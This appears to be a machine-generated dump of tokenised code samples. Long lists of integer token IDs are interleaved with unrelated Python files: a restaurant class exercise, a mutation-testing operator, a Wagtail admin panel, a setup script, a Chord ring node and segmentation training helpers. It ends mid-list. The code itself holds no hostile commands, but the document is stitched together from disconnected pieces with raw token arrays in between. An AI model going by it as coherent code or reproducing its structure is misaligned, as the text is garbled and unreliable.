10254,
29914,
9794,
29914,
1649,
2344,
26914,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
4770,
29888,
9130,
1649,
1053,
8380,
29918,
5215,
13,
3166,
869,
690,
1212,
1053,
334,
13,
3166,
869,
311,
29872,
572,
370,
29894,
29906,
1053,
334,
13,
3166,
869,
311,
29872,
572,
370,
29894,
29941,
1053,
334,
13,
3166,
869,
311,
29872,
572,
370,
29894,
29941,
11242,
1053,
334,
13,
3166,
869,
1516,
29883,
1053,
334,
13,
13,
13,
1753,
2069,
29918,
705,
5861,
29898,
4299,
1125,
13,
1678,
363,
286,
297,
1904,
29889,
7576,
7295,
13,
4706,
565,
338,
8758,
29898,
29885,
29892,
302,
29876,
29889,
1168,
29894,
29906,
29881,
1125,
13,
9651,
302,
29876,
29889,
2344,
29889,
1335,
326,
292,
29918,
8945,
23538,
29885,
29889,
7915,
29897,
13,
9651,
565,
286,
29889,
29890,
3173,
338,
451,
6213,
29901,
13,
18884,
302,
29876,
29889,
2344,
29889,
23362,
23538,
29885,
29889,
29890,
3173,
29892,
29871,
29900,
29897,
13,
4706,
25342,
338,
8758,
29898,
29885,
29892,
302,
29876,
29889,
12697,
1125,
13,
9651,
302,
29876,
29889,
2344,
29889,
1335,
326,
292,
29918,
8945,
23538,
29885,
29889,
7915,
29897,
13,
9651,
565,
286,
29889,
29890,
3173,
338,
451,
6213,
29901,
13,
18884,
302,
29876,
29889,
2344,
29889,
23362,
23538,
29885,
29889,
29890,
3173,
29892,
29871,
29900,
29897,
13,
4706,
25342,
338,
8758,
29898,
29885,
29892,
302,
29876,
29889,
23145,
29940,
555,
29906,
29881,
1125,
13,
9651,
302,
29876,
29889,
2344,
29889,
23362,
23538,
29885,
29889,
7915,
29892,
29871,
29896,
29897,
13,
9651,
565,
286,
29889,
29890,
3173,
338,
451,
6213,
29901,
13,
18884,
302,
29876,
29889,
2344,
29889,
23362,
23538,
29885,
29889,
29890,
3173,
29892,
29871,
29900,
29897,
13,
13,
13,
1753,
21784,
28632,
29963,
29906,
29918,
1666,
6779,
29896,
29900,
29896,
29918,
4345,
29907,
29898,
29876,
29918,
13203,
1125,
13,
1678,
736,
341,
7187,
29898,
13,
4706,
2967,
29922,
2772,
1022,
28632,
29963,
29906,
29898,
13,
9651,
302,
29918,
13203,
29922,
29876,
29918,
13203,
29892,
302,
29918,
1271,
29879,
11759,
29941,
29892,
29871,
29946,
29892,
29871,
29906,
29941,
29892,
29871,
29941,
1402,
472,
29878,
681,
29918,
29878,
1078,
11759,
29953,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29947,
29892,
29871,
29906,
29946,
29962,
13,
4706,
10353,
13,
4706,
23431,
11759,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29955,
29945,
1402,
13,
1678,
1723,
13,
13,
13,
1753,
21784,
28632,
29963,
29906,
29903,
29918,
1666,
6779,
29896,
29900,
29896,
29918,
4345,
29907,
29898,
29876,
29918,
13203,
1125,
13,
1678,
736,
341,
7187,
29898,
13,
4706,
2967,
29922,
2772,
1022,
28632,
29963,
29906,
29898,
13,
9651,
302,
29918,
13203,
29922,
29876,
29918,
13203,
29892,
302,
29918,
1271,
29879,
11759,
29941,
29892,
29871,
29946,
29892,
29871,
29906,
29941,
29892,
29871,
29941,
1402,
472,
29878,
681,
29918,
29878,
1078,
11759,
29941,
29892,
29871,
29953,
29892,
29871,
29929,
29892,
29871,
29896,
29906,
29962,
13,
4706,
10353,
13,
4706,
23431,
11759,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29955,
29945,
1402,
13,
1678,
1723,
13,
13,
13,
1753,
21784,
28632,
29963,
29941,
29918,
1666,
6779,
29896,
29900,
29896,
29918,
4345,
29907,
29898,
29876,
29918,
13203,
29892,
1962,
29918,
303,
2426,
1125,
13,
1678,
565,
1962,
29918,
303,
2426,
1275,
29871,
29896,
29953,
29901,
13,
4706,
472,
29878,
681,
29918,
29878,
1078,
353,
518,
29953,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29947,
29962,
13,
1678,
25342,
1962,
29918,
303,
2426,
1275,
29871,
29947,
29901,
13,
4706,
472,
29878,
681,
29918,
29878,
1078,
353,
518,
29896,
29906,
29892,
29871,
29906,
29946,
29892,
29871,
29941,
29953,
29962,
13,
1678,
1683,
29901,
13,
4706,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
736,
341,
7187,
29898,
13,
4706,
2967,
29922,
2772,
1022,
28632,
29963,
29941,
29898,
13,
9651,
302,
29918,
13203,
29922,
29876,
29918,
13203,
29892,
13,
9651,
302,
29918,
1271,
29879,
11759,
29941,
29892,
29871,
29946,
29892,
29871,
29906,
29941,
29892,
29871,
29941,
1402,
13,
9651,
472,
29878,
681,
29918,
29878,
1078,
29922,
8141,
681,
29918,
29878,
1078,
29892,
13,
9651,
2473,
29918,
629,
4841,
11759,
29896,
29892,
29871,
29906,
29892,
29871,
29946,
1402,
13,
9651,
1962,
29918,
303,
2426,
29922,
4905,
29918,
303,
2426,
29892,
13,
4706,
10353,
13,
4706,
23431,
11759,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29955,
29945,
1402,
13,
1678,
1723,
13,
13,
13,
1753,
21784,
28632,
29963,
29941,
29575,
29918,
1666,
6779,
29896,
29900,
29896,
29918,
4345,
29907,
29898,
29876,
29918,
13203,
29892,
1962,
29918,
303,
2426,
1125,
13,
1678,
565,
1962,
29918,
303,
2426,
1275,
29871,
29896,
29953,
29901,
13,
4706,
472,
29878,
681,
29918,
29878,
1078,
353,
518,
29953,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29947,
29962,
13,
1678,
25342,
1962,
29918,
303,
2426,
1275,
29871,
29947,
29901,
13,
4706,
472,
29878,
681,
29918,
29878,
1078,
353,
518,
29896,
29906,
29892,
29871,
29906,
29946,
29892,
29871,
29941,
29953,
29962,
13,
1678,
1683,
29901,
13,
4706,
2216,
1888,
2037,
287,
2392,
13,
13,
1678,
736,
341,
7187,
29898,
13,
4706,
2967,
29922,
2772,
1022,
28632,
29963,
29941,
29575,
29898,
13,
9651,
302,
29918,
13203,
29922,
29876,
29918,
13203,
29892,
13,
9651,
302,
29918,
1271,
29879,
11759,
29941,
29892,
29871,
29946,
29892,
29871,
29906,
29941,
29892,
29871,
29941,
1402,
13,
9651,
472,
29878,
681,
29918,
29878,
1078,
29922,
8141,
681,
29918,
29878,
1078,
29892,
13,
9651,
2473,
29918,
629,
4841,
11759,
29896,
29892,
29871,
29906,
29892,
29871,
29946,
1402,
13,
9651,
1962,
29918,
303,
2426,
29922,
4905,
29918,
303,
2426,
29892,
13,
4706,
10353,
13,
4706,
23431,
11759,
29900,
29889,
29945,
29892,
29871,
29900,
29889,
29955,
29945,
1402,
13,
1678,
1723,
13,
2
] |
Ago-Dic-2018/Ernesto Vela/Practica 2/ThreeRestaurants.py | Arbupa/DAS_Sistemas | 41 | 1615956 | <reponame>Arbupa/DAS_Sistemas
class Restaurant:
def __init__(self, restaurant_name='', cuisine_type=''):
self.restaurant_name = restaurant_name
self.cuisine_type = cuisine_type
def describe_restaurant(self):
print('El nombre del restaurante es: ', self.restaurant_name)
print('El tipo de cocina del restaurante es: ', self.cuisine_type)
def open_restaurant(self):
print('El restaurante esta abierto')
restaurante_1 = Restaurant('Los mariachis', 'Mexicana')
restaurante_1.describe_restaurant()
restaurante_2 = Restaurant('Que elegancia la de francia', 'Francesa')
restaurante_2.describe_restaurant()
restaurante_3 = Restaurant('El dorado', 'Mariscos')
restaurante_3.describe_restaurant()
| [
1,
529,
276,
1112,
420,
29958,
1433,
29890,
786,
29874,
29914,
29928,
3289,
29918,
29903,
391,
8609,
13,
1990,
390,
22837,
424,
29901,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
27144,
29918,
978,
2433,
742,
2723,
275,
457,
29918,
1853,
2433,
29374,
13,
4706,
1583,
29889,
29878,
22837,
424,
29918,
978,
353,
27144,
29918,
978,
13,
4706,
1583,
29889,
29883,
4664,
457,
29918,
1853,
353,
2723,
275,
457,
29918,
1853,
13,
13,
1678,
822,
8453,
29918,
29878,
22837,
424,
29898,
1311,
1125,
13,
4706,
1596,
877,
6489,
5419,
628,
12374,
1647,
831,
29901,
13420,
1583,
29889,
29878,
22837,
424,
29918,
978,
29897,
13,
4706,
1596,
877,
6489,
13306,
316,
274,
542,
1099,
628,
12374,
1647,
831,
29901,
13420,
1583,
29889,
29883,
4664,
457,
29918,
1853,
29897,
13,
13,
1678,
822,
1722,
29918,
29878,
22837,
424,
29898,
1311,
1125,
13,
4706,
1596,
877,
6489,
12374,
1647,
7444,
633,
25449,
1495,
13,
13,
29878,
22837,
1647,
29918,
29896,
353,
390,
22837,
424,
877,
29286,
1766,
423,
305,
275,
742,
525,
29924,
735,
12679,
1495,
13,
29878,
22837,
1647,
29918,
29896,
29889,
2783,
29581,
29918,
29878,
22837,
424,
580,
13,
13,
13,
29878,
22837,
1647,
29918,
29906,
353,
390,
22837,
424,
877,
8654,
10618,
14006,
425,
316,
2524,
1512,
742,
525,
7675,
778,
29874,
1495,
13,
29878,
22837,
1647,
29918,
29906,
29889,
2783,
29581,
29918,
29878,
22837,
424,
580,
13,
13,
29878,
22837,
1647,
29918,
29941,
353,
390,
22837,
424,
877,
6489,
16630,
912,
742,
525,
7083,
275,
3944,
1495,
13,
29878,
22837,
1647,
29918,
29941,
29889,
2783,
29581,
29918,
29878,
22837,
424,
580,
13,
2
] |
cosmic_ray/operators/unary_operator_replacement.py | rob-smallshire/cosmic-ray | 0 | 12670 | <gh_stars>0
"""Implementation of the unary-operator-replacement operator.
"""
import ast
from .operator import Operator
from ..util import build_mutations
# None indicates we want to delete the operator
OPERATORS = (ast.UAdd, ast.USub, ast.Invert, ast.Not, None)
def _to_ops(from_op):
"""
The sequence of operators which `from_op` could be mutated to.
"""
for to_op in OPERATORS:
if to_op and isinstance(from_op, ast.Not):
# 'not' can only be removed but not replaced with
# '+', '-' or '~' b/c that may lead to strange results
pass
elif isinstance(from_op, ast.UAdd) and (to_op is None):
# '+1' => '1' yields equivalent mutations
pass
else:
yield to_op
class MutateUnaryOperator(Operator):
"""An operator that modifies unary operators."""
def visit_UnaryOp(self, node): # pylint: disable=invalid-name
"""
http://greentreesnakes.readthedocs.io/en/latest/nodes.html#UnaryOp
"""
return self.visit_mutation_site(
node,
len(build_mutations([node.op], _to_ops)))
def mutate(self, node, idx):
"Perform the `idx`th mutation on node."
_, to_op = build_mutations([node.op], _to_ops)[idx]
if to_op:
node.op = to_op()
return node
return node.operand
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
15945,
29908,
1888,
14607,
310,
278,
443,
653,
29899,
6891,
29899,
3445,
9552,
5455,
29889,
13,
15945,
29908,
13,
13,
5215,
8717,
13,
13,
3166,
869,
6891,
1053,
6607,
1061,
13,
3166,
6317,
4422,
1053,
2048,
29918,
6149,
800,
13,
13,
29937,
6213,
14088,
591,
864,
304,
5217,
278,
5455,
13,
4590,
1001,
1299,
24125,
353,
313,
579,
29889,
29965,
2528,
29892,
8717,
29889,
3308,
431,
29892,
8717,
29889,
797,
1765,
29892,
8717,
29889,
3664,
29892,
6213,
29897,
13,
13,
13,
1753,
903,
517,
29918,
3554,
29898,
3166,
29918,
459,
1125,
13,
1678,
9995,
13,
4706,
450,
5665,
310,
12768,
607,
421,
3166,
29918,
459,
29952,
1033,
367,
5478,
630,
304,
29889,
13,
1678,
9995,
13,
13,
1678,
363,
304,
29918,
459,
297,
6418,
1001,
1299,
24125,
29901,
13,
4706,
565,
304,
29918,
459,
322,
338,
8758,
29898,
3166,
29918,
459,
29892,
8717,
29889,
3664,
1125,
13,
9651,
396,
525,
1333,
29915,
508,
871,
367,
6206,
541,
451,
8611,
411,
13,
9651,
396,
525,
29974,
742,
17411,
29915,
470,
525,
30022,
29915,
289,
29914,
29883,
393,
1122,
3275,
304,
8515,
2582,
13,
9651,
1209,
13,
4706,
25342,
338,
8758,
29898,
3166,
29918,
459,
29892,
8717,
29889,
29965,
2528,
29897,
322,
313,
517,
29918,
459,
338,
6213,
1125,
13,
9651,
396,
525,
29974,
29896,
29915,
1149,
525,
29896,
29915,
17498,
7126,
5478,
800,
13,
9651,
1209,
13,
4706,
1683,
29901,
13,
9651,
7709,
304,
29918,
459,
13,
13,
13,
1990,
20749,
403,
2525,
653,
26486,
29898,
26486,
1125,
13,
1678,
9995,
2744,
5455,
393,
878,
11057,
443,
653,
12768,
1213,
15945,
13,
13,
1678,
822,
6493,
29918,
2525,
653,
11746,
29898,
1311,
29892,
2943,
1125,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
20965,
29899,
978,
13,
4706,
9995,
13,
9651,
1732,
597,
7979,
296,
11003,
29876,
6926,
29889,
949,
386,
287,
12332,
29889,
601,
29914,
264,
29914,
12333,
29914,
18010,
29889,
1420,
29937,
2525,
653,
11746,
13,
4706,
9995,
13,
4706,
736,
1583,
29889,
1730,
277,
29918,
6149,
362,
29918,
2746,
29898,
13,
9651,
2943,
29892,
13,
9651,
7431,
29898,
4282,
29918,
6149,
800,
4197,
3177,
29889,
459,
1402,
903,
517,
29918,
3554,
4961,
13,
13,
1678,
822,
5478,
403,
29898,
1311,
29892,
2943,
29892,
22645,
1125,
13,
4706,
376,
5894,
689,
278,
421,
13140,
29952,
386,
5478,
362,
373,
2943,
1213,
13,
4706,
17117,
304,
29918,
459,
353,
2048,
29918,
6149,
800,
4197,
3177,
29889,
459,
1402,
903,
517,
29918,
3554,
9601,
13140,
29962,
13,
4706,
565,
304,
29918,
459,
29901,
13,
9651,
2943,
29889,
459,
353,
304,
29918,
459,
580,
13,
9651,
736,
2943,
13,
4706,
736,
2943,
29889,
3372,
392,
13,
2
] |
coderedcms/wagtail_flexible_forms/edit_handlers.py | mikiec84/coderedcms | 9 | 11026 | from django.template.loader import render_to_string
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext as _
from wagtail.admin.edit_handlers import EditHandler
class FormSubmissionsPanel(EditHandler):
template = "wagtailforms/edit_handlers/form_responses_panel.html"
def bind_to_model(self, model):
new = super().bind_to_model(model)
if self.heading is None:
new.heading = _('{} submissions').format(model.get_verbose_name())
return new
def render(self):
Submission = self.model.get_submission_class()
submissions = Submission.objects.filter(page=self.instance)
submission_count = submissions.count()
if not submission_count:
return ''
return mark_safe(render_to_string(self.template, {
'self': self,
'submission_count': submission_count,
'last_submit_time': (submissions.order_by('submit_time')
.last().submit_time),
}))
| [
1,
515,
9557,
29889,
6886,
29889,
12657,
1053,
4050,
29918,
517,
29918,
1807,
13,
3166,
9557,
29889,
13239,
29889,
29879,
2142,
342,
5393,
1053,
2791,
29918,
11177,
13,
3166,
9557,
29889,
13239,
29889,
3286,
18411,
1053,
318,
657,
726,
408,
903,
13,
13,
3166,
281,
351,
18237,
29889,
6406,
29889,
5628,
29918,
3179,
9306,
1053,
7641,
4598,
13,
13,
13,
1990,
3812,
4035,
29885,
6847,
7490,
29898,
6103,
4598,
1125,
13,
1678,
4472,
353,
376,
29893,
351,
18237,
9514,
29914,
5628,
29918,
3179,
9306,
29914,
689,
29918,
26679,
267,
29918,
15119,
29889,
1420,
29908,
13,
13,
1678,
822,
7868,
29918,
517,
29918,
4299,
29898,
1311,
29892,
1904,
1125,
13,
4706,
716,
353,
2428,
2141,
5355,
29918,
517,
29918,
4299,
29898,
4299,
29897,
13,
4706,
565,
1583,
29889,
2813,
292,
338,
6213,
29901,
13,
9651,
716,
29889,
2813,
292,
353,
903,
877,
8875,
11834,
6847,
2824,
4830,
29898,
4299,
29889,
657,
29918,
369,
15828,
29918,
978,
3101,
13,
4706,
736,
716,
13,
13,
1678,
822,
4050,
29898,
1311,
1125,
13,
4706,
3323,
6737,
353,
1583,
29889,
4299,
29889,
657,
29918,
1491,
6737,
29918,
1990,
580,
13,
4706,
11834,
6847,
353,
3323,
6737,
29889,
12650,
29889,
4572,
29898,
3488,
29922,
1311,
29889,
8758,
29897,
13,
4706,
29240,
29918,
2798,
353,
11834,
6847,
29889,
2798,
580,
13,
13,
4706,
565,
451,
29240,
29918,
2798,
29901,
13,
9651,
736,
6629,
13,
13,
4706,
736,
2791,
29918,
11177,
29898,
9482,
29918,
517,
29918,
1807,
29898,
1311,
29889,
6886,
29892,
426,
13,
9651,
525,
1311,
2396,
1583,
29892,
13,
9651,
525,
1491,
6737,
29918,
2798,
2396,
29240,
29918,
2798,
29892,
13,
9651,
525,
4230,
29918,
7892,
29918,
2230,
2396,
313,
1491,
29885,
6847,
29889,
2098,
29918,
1609,
877,
7892,
29918,
2230,
1495,
13,
462,
462,
869,
4230,
2141,
7892,
29918,
2230,
511,
13,
4706,
500,
876,
13,
2
] |
setup.py | aino/aino-convert | 1 | 158928 | from os.path import abspath, dirname, join as pjoin
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
fn = abspath(pjoin(dirname(__file__), 'README.rst'))
fp = open(fn, 'r')
long_description = fp.read()
fp.close()
setup(
name='aino-convert',
version='0.1.0.14',
url='https://github.com/aino/aino-convert',
license='BSD',
author='<NAME>',
author_email='<EMAIL>',
description='Magick for Django',
long_description=long_description,
classifiers=[
'Development Status :: 3 - Alpha',
'Environment :: Web Environment',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
'Topic :: Multimedia :: Graphics',
'Framework :: Django',
],
packages=[
'convert',
'convert.conf',
'convert.templatetags',
],
platforms='any'
)
| [
1,
515,
2897,
29889,
2084,
1053,
633,
1028,
493,
29892,
4516,
978,
29892,
5988,
408,
282,
7122,
13,
2202,
29901,
13,
1678,
515,
731,
21245,
8789,
1053,
6230,
13,
19499,
16032,
2392,
29901,
13,
1678,
515,
1320,
13239,
29889,
3221,
1053,
6230,
13,
13,
13,
9144,
353,
633,
1028,
493,
29898,
29886,
7122,
29898,
25721,
22168,
1445,
1649,
511,
525,
16310,
2303,
29889,
29878,
303,
8785,
13,
18091,
353,
1722,
29898,
9144,
29892,
525,
29878,
1495,
13,
5426,
29918,
8216,
353,
285,
29886,
29889,
949,
580,
13,
18091,
29889,
5358,
580,
13,
13,
14669,
29898,
13,
1678,
1024,
2433,
475,
29877,
29899,
13441,
742,
13,
1678,
1873,
2433,
29900,
29889,
29896,
29889,
29900,
29889,
29896,
29946,
742,
13,
1678,
3142,
2433,
991,
597,
3292,
29889,
510,
29914,
475,
29877,
29914,
475,
29877,
29899,
13441,
742,
13,
1678,
19405,
2433,
29933,
7230,
742,
13,
1678,
4148,
2433,
29966,
5813,
29958,
742,
13,
1678,
4148,
29918,
5269,
2433,
29966,
26862,
6227,
29958,
742,
13,
1678,
6139,
2433,
19095,
860,
363,
15337,
742,
13,
1678,
1472,
29918,
8216,
29922,
5426,
29918,
8216,
29892,
13,
1678,
770,
14903,
11759,
13,
4706,
525,
21956,
358,
16034,
4761,
29871,
29941,
448,
838,
2026,
742,
13,
4706,
525,
18649,
4761,
2563,
16738,
742,
13,
4706,
525,
2928,
2760,
319,
4749,
663,
4761,
10682,
414,
742,
13,
4706,
525,
29931,
293,
1947,
4761,
438,
5425,
28268,
1490,
4761,
350,
7230,
19245,
742,
13,
4706,
525,
7094,
1218,
2184,
4761,
6570,
25266,
742,
13,
4706,
525,
9283,
4056,
17088,
4761,
5132,
742,
13,
4706,
525,
7031,
293,
4761,
4685,
4761,
399,
29956,
29956,
29914,
10493,
4761,
27747,
10576,
742,
13,
4706,
525,
7031,
293,
4761,
9683,
3393,
4761,
29247,
742,
13,
4706,
525,
16660,
4761,
15337,
742,
13,
1678,
21251,
13,
1678,
9741,
11759,
13,
4706,
525,
13441,
742,
13,
4706,
525,
13441,
29889,
5527,
742,
13,
4706,
525,
13441,
29889,
1356,
572,
271,
300,
810,
742,
13,
1678,
21251,
13,
1678,
21796,
2433,
1384,
29915,
13,
29897,
13,
2
] |
src/app/node/local_stabilizing_node.py | acatalfano/chord-dht | 0 | 101601 | <filename>src/app/node/local_stabilizing_node.py
from typing import Callable
from threading import Thread, main_thread
from time import sleep
from .stabilizing_node import StabilizingNode
from ..node_data.local_node_data import LocalNodeData
from .node import Node
from ..utility.logger import Logger
class LocalStabilizingNode(StabilizingNode[LocalNodeData[StabilizingNode]]):
@staticmethod
def create_new_ring(name: str, id_method: Callable[[str], int]) -> 'LocalStabilizingNode':
node = LocalStabilizingNode(name, id_method)
node._finger_table[0] = node.as_node_data()
node.predecessor = node._get_null_object()
Logger.logger().info('Start a ring with node %d', node.id)
node._deploy_stabilizing_tasks()
return node
@staticmethod
def __spin(operation: Callable[[], None]) -> None:
while main_thread().is_alive():
operation()
sleep(1)
def _deploy_stabilizing_tasks(self) -> None:
operations: list[Callable[[], None]] = [
self._stabilize,
self._fix_fingers,
self._check_predecessor
]
threads = [Thread(target=LocalStabilizingNode.__spin, args=[operation])
for operation in operations]
for t in threads:
t.start()
def _get_successor_predecessor(self) -> LocalNodeData:
assert(self.successor.reference is not None)
return self.successor.reference.predecessor
def _get_next_successor(self, node_data: LocalNodeData, digest: int, hops: int) -> tuple[LocalNodeData, int]:
assert(node_data.reference is not None)
return node_data.reference.find_successor(digest, hops)
def _notify_successor(self, potential_predecessor: LocalNodeData) -> None:
assert(self.successor.reference is not None)
self.successor.reference._notify(potential_predecessor)
def _get_null_object(self) -> LocalNodeData:
return LocalNodeData(-1, None)
def as_node_data(self) -> LocalNodeData:
return LocalNodeData(self.id, self, self.predecessor, self.successor)
| [
1,
529,
9507,
29958,
4351,
29914,
932,
29914,
3177,
29914,
2997,
29918,
303,
4427,
5281,
29918,
3177,
29889,
2272,
13,
13,
3166,
19229,
1053,
8251,
519,
13,
3166,
3244,
292,
1053,
10480,
29892,
1667,
29918,
7097,
13,
3166,
931,
1053,
8709,
13,
13,
3166,
869,
303,
4427,
5281,
29918,
3177,
1053,
624,
4427,
5281,
4247,
13,
3166,
6317,
3177,
29918,
1272,
29889,
2997,
29918,
3177,
29918,
1272,
1053,
9959,
4247,
1469,
13,
3166,
869,
3177,
1053,
9071,
13,
3166,
6317,
329,
1793,
29889,
21707,
1053,
28468,
13,
13,
13,
1990,
9959,
855,
4427,
5281,
4247,
29898,
855,
4427,
5281,
4247,
29961,
7717,
4247,
1469,
29961,
855,
4427,
5281,
4247,
5262,
1125,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
1653,
29918,
1482,
29918,
5393,
29898,
978,
29901,
851,
29892,
1178,
29918,
5696,
29901,
8251,
519,
8999,
710,
1402,
938,
2314,
1599,
525,
7717,
855,
4427,
5281,
4247,
2396,
13,
4706,
2943,
353,
9959,
855,
4427,
5281,
4247,
29898,
978,
29892,
1178,
29918,
5696,
29897,
13,
4706,
2943,
3032,
29888,
5621,
29918,
2371,
29961,
29900,
29962,
353,
2943,
29889,
294,
29918,
3177,
29918,
1272,
580,
13,
4706,
2943,
29889,
1457,
311,
985,
272,
353,
2943,
3032,
657,
29918,
4304,
29918,
3318,
580,
13,
4706,
28468,
29889,
21707,
2141,
3888,
877,
4763,
263,
9228,
411,
2943,
1273,
29881,
742,
2943,
29889,
333,
29897,
13,
4706,
2943,
3032,
16519,
29918,
303,
4427,
5281,
29918,
20673,
580,
13,
4706,
736,
2943,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
4770,
1028,
262,
29898,
16453,
29901,
8251,
519,
8999,
1402,
6213,
2314,
1599,
6213,
29901,
13,
4706,
1550,
1667,
29918,
7097,
2141,
275,
29918,
284,
573,
7295,
13,
9651,
5858,
580,
13,
9651,
8709,
29898,
29896,
29897,
13,
13,
1678,
822,
903,
16519,
29918,
303,
4427,
5281,
29918,
20673,
29898,
1311,
29897,
1599,
6213,
29901,
13,
4706,
6931,
29901,
1051,
29961,
5594,
519,
8999,
1402,
6213,
5262,
353,
518,
13,
9651,
1583,
3032,
303,
4427,
675,
29892,
13,
9651,
1583,
3032,
5878,
29918,
29888,
19936,
29892,
13,
9651,
1583,
3032,
3198,
29918,
1457,
311,
985,
272,
13,
4706,
4514,
13,
4706,
9717,
353,
518,
4899,
29898,
5182,
29922,
7717,
855,
4427,
5281,
4247,
17255,
1028,
262,
29892,
6389,
11759,
16453,
2314,
13,
462,
259,
363,
5858,
297,
6931,
29962,
13,
4706,
363,
260,
297,
9717,
29901,
13,
9651,
260,
29889,
2962,
580,
13,
13,
1678,
822,
903,
657,
29918,
8698,
272,
29918,
1457,
311,
985,
272,
29898,
1311,
29897,
1599,
9959,
4247,
1469,
29901,
13,
4706,
4974,
29898,
1311,
29889,
8698,
272,
29889,
5679,
338,
451,
6213,
29897,
13,
4706,
736,
1583,
29889,
8698,
272,
29889,
5679,
29889,
1457,
311,
985,
272,
13,
13,
1678,
822,
903,
657,
29918,
4622,
29918,
8698,
272,
29898,
1311,
29892,
2943,
29918,
1272,
29901,
9959,
4247,
1469,
29892,
4697,
342,
29901,
938,
29892,
298,
3554,
29901,
938,
29897,
1599,
18761,
29961,
7717,
4247,
1469,
29892,
938,
5387,
13,
4706,
4974,
29898,
3177,
29918,
1272,
29889,
5679,
338,
451,
6213,
29897,
13,
4706,
736,
2943,
29918,
1272,
29889,
5679,
29889,
2886,
29918,
8698,
272,
29898,
7501,
342,
29892,
298,
3554,
29897,
13,
13,
1678,
822,
903,
25140,
29918,
8698,
272,
29898,
1311,
29892,
7037,
29918,
1457,
311,
985,
272,
29901,
9959,
4247,
1469,
29897,
1599,
6213,
29901,
13,
4706,
4974,
29898,
1311,
29889,
8698,
272,
29889,
5679,
338,
451,
6213,
29897,
13,
4706,
1583,
29889,
8698,
272,
29889,
5679,
3032,
25140,
29898,
17765,
2556,
29918,
1457,
311,
985,
272,
29897,
13,
13,
1678,
822,
903,
657,
29918,
4304,
29918,
3318,
29898,
1311,
29897,
1599,
9959,
4247,
1469,
29901,
13,
4706,
736,
9959,
4247,
1469,
6278,
29896,
29892,
6213,
29897,
13,
13,
1678,
822,
408,
29918,
3177,
29918,
1272,
29898,
1311,
29897,
1599,
9959,
4247,
1469,
29901,
13,
4706,
736,
9959,
4247,
1469,
29898,
1311,
29889,
333,
29892,
1583,
29892,
1583,
29889,
1457,
311,
985,
272,
29892,
1583,
29889,
8698,
272,
29897,
13,
2
] |
machine-learning/ml-projects/stereo-cam-v1/utils/train_utils.py | olaals/masteroppgave2 | 0 | 161006 | import torch
import numpy as np
import matplotlib.pyplot as plt
def convert_tensor_to_RGB(network_output):
x = torch.FloatTensor([[.0, .0, .0], [1.0, .0, .0], [.0, .0, 1.0], [.0, 1.0, .0]])
converted_tensor = torch.nn.functional.embedding(network_output, x).permute(2,0,1)
return converted_tensor
def dice_scores(segmentation, ground_truth, classes):
dice_scores = []
for i in range(1,classes+1):
binary_gt = (ground_truth == i).astype(np.uint8)
binary_seg = (segmentation == i).astype(np.uint8)
intersect = np.logical_and(binary_gt, binary_seg)
sum_binary_gt = np.sum(binary_gt)
sum_binary_seg = np.sum(binary_seg)
if sum_binary_gt == 0:
continue
class_dice_score = np.sum(intersect)*2 / (sum_binary_gt+sum_binary_seg)
dice_scores.append(class_dice_score)
dice_scores = np.array(dice_scores)
return dice_scores
def image_stats(img):
data_type = type(img[0][0])
img_width = np.shape(img)[0]
img_height = np.shape(img)[1]
max_pix = np.max(img)
min_pix = np.min(img)
img_mean = np.mean(img)
img_std = np.std(img)
print(f'Type: {data_type}, Width: {img_width}, Height: {img_height}, Max: {max_pix}, Min: {min_pix}, Mean: {img_mean}, Std: {img_std}')
def tensor_stats(tensor_in):
tensor = tensor_in.clone()
tensor = tensor.double()
shape = tensor.shape
tensor_max = torch.max(tensor)
tensor_min = torch.min(tensor)
tensor_mean = torch.mean(tensor)
tensor_std = torch.std(tensor)
print(f"Tensor stats: Shape: {shape} Max: {tensor_max}, Min: {tensor_min}, Mean: {tensor_mean}, Std: {tensor_std}")
def get_mask_from_tensor(tensor, index, mask_index):
tensor_cp = tensor.clone().cpu()
tensor_masks = tensor_cp[index]
tensor_mask = tensor_masks[mask_index]
np_mask = tensor_mask.numpy()
print("np mask in get mask")
image_stats(np_mask)
return np_mask
def dice_loss(logits, target):
input = torch.functional.F.softmax(logits, 1)
smooth = 1.
input = input[:,1,:,:]
#print(input.shape)
#print(target.shape)
iflat = torch.reshape(input, (-1,))
tflat = target.view(-1)
intersection = (iflat * tflat).sum()
return 1 - ((2. * intersection + smooth) /
(iflat.sum() + tflat.sum() + smooth))
def weighted_combined_loss(loss_fn1, loss_fn2, weight=0.5):
def combined_loss(pred, Y):
return weight*loss_fn1(pred,Y) + (1-weight)*loss_fn2(pred,Y)
return combined_loss
def mean_dice_score(pred_batch, Y_batch, classes):
assert(pred_batch.size(0) == Y_batch.size(0))
cumulative_scores = np.zeros(classes)
for b_idx in range(pred_batch.size(0)):
mask = predb_to_mask(pred_batch, b_idx).numpy()
gt_tensor = Y_batch[b_idx].clone()
gt = gt_tensor.cpu().numpy()
batch_dice_score = dice_scores(mask, gt, classes)
cumulative_scores += batch_dice_score
avg_dice_scores = cumulative_scores / pred_batch.size(0)
avg_dice_score = np.average(avg_dice_scores)
return avg_dice_score, avg_dice_scores
def mean_pixel_accuracy(pred_batch, Y_batch):
return (pred_batch.argmax(dim=1) == Y_batch.cuda()).float().mean()
def batch_to_img(xb, idx):
img = np.array(xb[idx,0:3])
return img.transpose((1,2,0))
def predb_to_mask(pred_batch, idx):
p = torch.functional.F.softmax(pred_batch[idx], 0)
return p.argmax(0).cpu()
| [
1,
1053,
4842,
305,
13,
5215,
12655,
408,
7442,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
13,
1753,
3588,
29918,
20158,
29918,
517,
29918,
28212,
29898,
11618,
29918,
